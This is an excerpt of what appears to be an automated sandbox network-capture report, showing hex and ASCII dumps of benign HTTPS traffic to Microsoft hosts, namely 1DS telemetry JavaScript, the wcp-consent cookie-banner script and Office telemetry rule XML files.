2024-11-19 23:19:31 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-19 23:19:31 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-11-19 23:19:31 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-11-19 23:19:31 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-11-19 23:19:31 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-11-19 23:19:31 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-11-19 23:19:31 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-11-19 23:19:31 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-11-19 23:19:31 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-11-19 23:19:31 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	49863	13.107.246.45	443	7184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:31 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 23:19:31 UTC	713	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:31 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 15237 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 83812644-101e-002a-70b6-3a1fcf000000 x-ms-version: 2009-09-19 x-azure-ref: 20241119T231931Z-185f5d8b95cx9g8lhC1NYCtgvc00000001pg00000000r5wa Accept-Ranges: bytes
2024-11-19 23:19:31 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-19 23:19:31 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-19 23:19:31 UTC	16384	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-19 23:19:31 UTC	4278	IN	Data Raw: 65 6d 65 6e 74 42 79 49 64 28 22 77 63 70 43 6f 6e 73 65 6e 74 42 61 6e 6e 65 72 43 74 72 6c 22 29 7d 2c 65 2e 65 6d 69 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 Data Ascii: ementById("wcpConsentBannerCtrl")},e.emit=function(e){for(var t=[],o=1;o<arguments.length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEvent

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:31 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:31 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:31 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 4e85307b-101e-007a-398c-3a047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231931Z-185f5d8b95cmd8vfhC1NYC0g40000000058000000000gbpz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:31 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:32 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:32 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:32 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 947c99fd-001e-00a2-4d8c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231932Z-1777c6cb754gc8g6hC1TEB966c00000008ng00000000rzum x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:32 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:32 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:32 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:32 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 873207a6-301e-001f-2d8c-3aaa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231932Z-185f5d8b95c95vpshC1NYC759c00000009d000000000c8kq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
